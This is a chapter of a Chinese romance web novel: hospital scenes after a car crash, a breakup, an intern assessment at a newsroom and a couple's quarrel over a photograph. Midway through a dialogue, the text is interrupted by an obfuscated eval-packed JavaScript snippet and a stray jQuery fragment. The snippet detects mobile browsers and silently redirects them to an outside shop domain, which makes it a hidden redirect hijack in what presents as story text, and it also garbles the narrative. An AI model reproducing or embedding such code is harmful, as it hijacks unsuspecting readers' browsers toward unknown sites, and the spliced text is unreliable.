因着温家父母都住院,宋相思请了几天假,一直照顾温煦,这不,边给她削苹果,还要接受她的吐槽。
“我不喜欢吃苹果,我想吃炸鸡,汉堡……”
她沉思一会:“酒就不喝了,有点太过分了。”
宋相思将手里的苹果递过去,对上她委屈巴巴的一张脸。
病床上的人接过咬了一口,含糊不清的吐字:“虐…待……病人。”
宋相思抽出一旁的纸巾擦了擦手,慢悠悠看向她:“知足吧我的大小姐,出车祸只是受点轻伤,你知不知道我们都要吓死了。”
温煦瞬间激动起来,眼里泪光闪烁:“我就知道,你最爱我……”
“……的钱。”
宋相思脑子里闪过一句话:没救了。
她翻了个白眼自顾自要往外走,却被温煦的问题问得顿在原地。
“糯糯,孟遥……他怎么样了?”
宋相思回过头看着她,病床上的人头上还裹着纱布,神色凝重,苍白的脸上极力掩饰,却还是透出担忧,隔着阳光的分割线,宋相思在原地忽地笑起来。
“阿煦,我还以为你第一句应该会问他的婚礼怎么样。”
说罢又摇了摇头:“这样也好,他早就做出了他的选择,你也该及时止损。”
见她不说话,宋相思才道出那人的消息:“我不是很清楚他的伤势,但是他没事了,已经转到普通病房了,只是听说现在人还没醒。”
病床上的人揪着的眉终于松散下来,有些后怕地点头:“没事就好。”
宋相思握着保温盒的手握紧了些,还是忍不住问:“所以阿煦,这场车祸到底是怎么来的?”
温煦垂眸,眼神不知落在哪里,一开口却哑了声:“是我。”
“是我开的车。”
“也是我,一直心神不宁,没有注意到侧后方的车……”
宋相思明白过来事情缘由,也理解了女孩眼里的担忧和愧疚。
她坐到床边拉住温煦的手,张口不自觉也跟着带了哭腔:“阿煦,没事的,不怪你的,没有人怪你。”
两人泪眼婆娑中,孟迟突然闯了进来,三个人的气氛有些尴尬,宋相思望了望床上的人,看出她的意思,也起身为二人腾出空间。
宋相思走后,两人在病房里沉默着对视良久。
孟迟眉眼微扬,将手上的玫瑰糕递到女孩跟前,没有半点生疏。
温煦看着他脸上的笑意和散漫的姿态,不由想起,热恋期他也是这样笑意盈盈,带着不羁和玩味的神情凑到她跟前,问她“要不要尝一块?”
想到这里,刚才止住的眼泪就又要倾泻,她深吸几口气才摇了摇头。
是啊,她终于学会拒绝他了。
孟迟顿了顿,将盖子合上放到了一边,静静地看着她。
温煦说话还有些鼻音,轻飘飘的一句话,却有千金重。
“孟迟,我们就到这里吧。”
“我不要你了。”女孩脸上带着沉痛与决绝。
孟迟并不意外,只是睫毛颤了颤,低头沉默。
病房里安静下来,一滴泪砸到男子手背的声音也异常明显,温煦朝他看过去,一眼就捕捉到他手上晃眼的戒指,虽是素戒,倒也符合他喜欢的风格。
温煦心头酸涩,眼泪似乎感知到什么,再也无法在眼眶里停留,脸上湿润一片,她抬手在脸上胡乱抹了一把,别过了头。
椅子上沉默良久的男子却笑了一声,有些自嘲。
“我这样的人,你不要再为我哭了。”
他柔声道:“阿煦从来都是明媚耀眼的姑娘,值得世界上最好的爱,记住了,别随便为谁掉眼泪,尤其是我。”
“我不值得。”
他这句话一出,就被温煦带着哽咽的声音打断:“你值得。”
温煦语气坚定,说完似是下定决心般,又猛地呼出一口气。
“你做出了你的选择,我也该做出我的选择,所以孟迟,无关对错,只是在你的选择里,我不重要。”
她不想否认他的付出和喜欢,只是将心底的话一点点剖白,算作道别。
“我不会问你为什么不选我,你已经有了取舍,而我是被舍去的那个,无论是什么原因,我都要真心接受。”
她摇了摇头,神色平静,释怀的笑了笑:“孟迟,新婚快乐!”
一句话回荡在整个房间里,男子的身形都被压得不再挺拔笔直,他心里比谁都清楚,女孩这句话的意思。
那个张扬明媚,直白热烈的姑娘,不要他了。
从今往后,康庄大道还是泥泞浮沉,他都不会再见到那个熟悉的身影。
温煦看着他神情恍惚地走了出去,盯着桌上那盒玫瑰糕出神,还是伸手拿了一块放进嘴里,只咬了一口,便连盒子一起丢到了垃圾桶里。
病房里只剩下女孩抽抽搭搭的哭声和低到几乎听不见的一句呢喃。
“骗人,一点都不甜,明明就很苦……”
……
宋相思照顾了她几天,直到温家父母来,她才回公司上班。
一到公司就发现,去浔阳的队伍已经全部回来了,顾知行走到她工位上,把手里捧着的纸袋放到她桌上。
“这是晓晓让我给你的礼物,你走得匆忙,都没来得及跟她道别,她现在开朗了很多,还念着你呢。”
想到那个总是怯生生跟在自己身后的小姑娘,她不由得笑起来,打开纸袋,是一幅温馨的画,画里是三个人的背影,一男一女坐在两侧,中间的小孩牵着两个人的手一起看落日。
宋相思记得,那天的夕阳很漂亮,在一片废墟和嘈杂声中,三个人的这幅场景却透露出幸福与安逸。
她的指尖忍不住在画上停留,虽画得稚嫩,却是她收到过最惊喜的礼物。
“我很喜欢。”
宋相思将画收起来,下意识问:“学长,她也送了一幅这样的画给你吗?”
顾知行摇头,半开玩笑道:“小姑娘眼里可是只有你呢。”
宋相思有些惊讶,又看他递了一张照片过来:“那天看夕阳的时候,被同事无意间拍下来了,打算用在这次的新闻稿上,我把照片洗出来了,这一张就留给你做纪念吧。”
顾知行说的恳切,其实语气里的紧张都要溢出来了,他没有表面看起来那样从容不迫。
宋相思也不揭穿,浅笑着接了过来,连同袋子里的画放在一起。
“那就谢谢学长啦,过几天我去把画和照片都裱起来放家里。”
顾知行提高音量,通知大家过十分钟去会议室开会,走到一半又回头提醒道:“对了,这次会议,所有实习生都一起参加。”
众人面面相觑,窃窃私语着,宋相思不明所以。
温稚凑过来跟她八卦:“相思,你们机会很好啊,实习生的考核提前了,表现好就可以提前转正了。”
宋相思有些苦恼犹豫着问:“温温,考核会很难吗?”
温稚安慰她:“别担心,我相信对你来说不是什么难事,不过考核要老员工搭档,你想好要跟谁一组了吗?”
宋相思头放在手机上磕了几下,一脸生无可恋的样子:“我毫无头绪啊。”
温稚笑着来拉她:“走了,开会啦,别担心,不是有顾哥嘛,他会罩着你的。”
提起顾知行,宋相思推测到这次选搭档他绝对是热门人选,他在编辑部门可以说全能了,每一块领悟都有所涉略,年纪轻轻就做了独立主编,性格也很随和。
会议室里,宋相思跟着实习生在后排落座,一抬头对上顾知行朝她看过来的视线,她轻轻点头示意。
会议大概说了一下这次实习生考核的打分标准,以及这次主要是由几个主编带新人做一个采访项目,这是最基础的入门考核。
项目结束后,由带教主编综合打分,得分由高到低排,在二十个人里只留前三。
散会后,宋相思还没想好选谁,一堆人就已经围在了顾知行身边,他越过众人朝她看过来,只是淡淡一眼视线就收了回去,对着周围的人礼貌致歉。
“抱歉,我现在还有点别的事,另外这次考核关乎大家的去留,也请大家慎重决定,在工作当中,我认为我比其他主编都更加严格,大家可不要因为我随和就忽略了这一点哦。”
宋相思看着他回了办公室,心下犹豫,其实顾知行和自己的配合很好,只是现在那么多人都要选他,他也未必会应自己。
温稚把椅子转过来靠着她拍了拍:“相思,还犹豫什么呢?”
说完又压低声音在她耳边道:“我看啊,顾哥刚才那番话的意思,就是在等你呢。”
宋相思摇头:“正是担心这样,我才不能在明知道他喜欢我的情况,要求他因为这件事就选我啊。”
两人私语片刻,宋相思收到一条消息,顾知行让她去办公室找他,她有些疑惑却也没停留就走到他办公室敲了敲门。
“请进。”
关上门,她有些拘谨的笑了笑,站在办公桌前问:“学长,找我有什么事吗?”
顾知行看她这幅模样,把手里的文件放在桌上,正色盯着她:“怎么?现在这么怕我?我今天看起来像是会吃人吗?”
她吓得赶紧摇了摇头。
顾知行走到沙发坐下,示意她过来坐。
宋相思一坐下他就递过来一份文件,顾知行直接了当开口。
“你看看这份文件,我们接下来的采访考核就选这个吧,内容我看过,有挑战性,话题度也不低,放在考核里很有优势。”
宋相思抿了抿唇,犹豫着问:“那么多人都想选你,学长为什么会选我?”
顾知行却很直接,把她不敢说的话一语道破:“你是不是想问,我选你,是不是因为我喜欢你?”
宋相思没想到他这么直接,一时接不上话。
顾知行看她的表情就证实了自己的话,接着说了下去。
“我可以肯定回答你,不是,我想你应该更自信一点,我选你是因为你之前的表现很亮眼,这是站在一个专业人士的角度给出的评价,不是一个爱慕者无判断的赞赏。”
“浔阳的采访里,我能看出来你的分析能力,逻辑能力都很强,也有自己的坚持和是非观,虽然青涩但是你身上有值得被更多人能看到的潜力。”
“还有,我读过你的作品,我并不认为你的作品是浅薄的浪漫主义,相反,你的作品里有自己的见解和思想,你身上的勇气和共情能力,也不是每个人都能具备的,所以我希望你能在这场考核里顺利留下来。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663788|207023||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说完他又笑着解释了一句:“当然,如果我说完这些,你还是不愿意和我搭档,也可以换人,我尊重你的意见。”
宋相思努力接收着他话里的意思,最终平复了内心的震动,她站起来,坦然的笑了笑,朝他伸出手。
“那就请学长,多多关照啦。”
……
医院。
温煦听说孟遥醒了,趁着温父温母不注意的时候,悄悄溜到了他的病房门口看他。
她左右看了看,病房门口和里面都没有人在,她蹑手蹑脚进了病房。
没想到一抬头就与病床上的人四目相对。
她有些不自在的问:“你好点了吗?”
孟遥脸上和手上都缠着纱布,张了张口却觉得干涩异常,有些急得要去扯包扎好的纱布,温煦忙按下他的手,呵斥了一句:“别乱动啊!”
孟遥任由她牵着,不再动作。
温煦接过旁边的水,吸管往他嘴边凑了凑,忍不住吐槽:“孟家人不管你的吗,这么严重的伤就让你一个人在这。”
孟遥就着她的手喝了一些水,才终于发出浅浅的声音来。
“你没事吧?”
他的第一句话就是关心她,温煦有些无奈,别过头吐出两个字。
“傻子。”
孟遥没听清,想凑近些,却扯到身上的伤口,疼的嘶了一声。
温煦慌乱的脸凑上去:“很疼吗?”
孟遥看着女孩颤动的睫毛,像是要落下泪来,忍住疼哄她:“我骗你的。”
温煦却没笑,只是带着哭腔望着他:“对不起,都怪我。”
孟遥却打断她:“煦煦,别哭,怪我们运气太差而已,下次还是我来开车吧,不然这副身体怕是折腾不了几回。”
温煦忍不住被他逗笑。
笑着骂他:“还有心思开玩笑呢。”
听见门口传来声音,温煦下意识躲了躲,刚好缩在他胸口处,她低声道:“你要快点好起来,我先走了,我会偷偷来看你的。”
她凑过来的时候,孟遥鼻腔被突如其来的玫瑰香填满,她离开以后,还忍不住眯眼深吸一口,病床上的男子保持那个姿势久久未动。
……
另一头,宋相思坐到叶清淮车里还在看考核项目的资料。
叶清淮有些不满地抽走她手里的文件,沉声道:“宋相思,工作一天了,车上还要接着看工作,你今天可是一句话都没跟我说。”
宋相思软糯的脸凑过去,朝他撒娇:“别生气嘛,这个考核对我很重要,我保证,结束以后我一定好好陪你,行不行?”
叶清淮被她哄得心软,正想把文件还给她的时候,却眼尖的看到她袋子里的那张照片,不等她反应就被他拿在手里。
看着照片上那三个人充斥着幸福和满足的一幕,他彻底冷了脸。
宋相思急着要从他手里夺过照片,却被他举的更高。
他声音冷得如坠冰窟:“宋相思,这就是你说的工作?”
他又摇了摇头,带了几分自嘲:“也对,我陪不了你去山上看日出日落,甚至在你遇到危险的时候,我都不能第一时间赶到你身边,我……”
宋相思知道他的别扭与不安,将手放在他嘴边,堵住了他的话。
“叶清淮,你自信一点,明明在我需要的时候,你总是第一时间就出现在我身边了。”
“还有,你忘了吗,日出日落,我们小时候总是偷偷爬到最高的地方,早就看过无数次了。”
“别一生气就冷冰冰,别说这些伤人的话,别贬低自己,看着我的眼睛。”
她眼神亮亮的,与他对视,一字一句道:“我爱你,只爱你。”
叶清淮有些故意地将照片往后收了收,声音缓和了些:“照片给我保管了,不许再放你身边。”
宋相思起了玩笑的心思,点了点头,若有所思道:“原来我们叶少爷这么喜欢看啊,想拿回去偷偷欣赏。”
叶清淮有些恼怒的盯着她咬牙切齿道:“宋相思!”
宋相思举手求饶:“我错了我错了,不过照片你真得还我。”
她指了指照片,带了些感慨的语气:“照片上的小姑娘,是我这次去遇到的,这张照片,算是我们的回忆吧,对我来说意义不同。”
她想了想又问:“叶清淮,你呢,有没有这样的照片,对你意义不同的?”
叶清淮想到自己西装里衬口袋里的照片,眼神闪了闪,嘴硬道:“没有。”
宋相思看穿他的表情,见他的手下意识往衣服口袋里捂,趁他不注意往里抽出了照片,叶清淮没来得及阻止,她就看清了照片上的人。
照片上的小姑娘眉眼稚气,举着糖冲镜头笑,那是六岁的她。
她有些诧异的朝男子望过去,叶清淮耳根红了些,下意识望向了别处,有些心虚的解释道:“无意间发现的,不知道什么时候放口袋里了。”
宋相思看着照片有些卷边和泛黄,却依然很干净,看得出被人保管得很好。
她将照片放了回去,也没有戳穿他的话,只是静静的贴在他的胸口,感受他的心跳一点点加快,这一刻,好似全世界都只剩下他震耳欲聋的心跳声。
她也不自觉跟着这个节拍沉沦其中。
……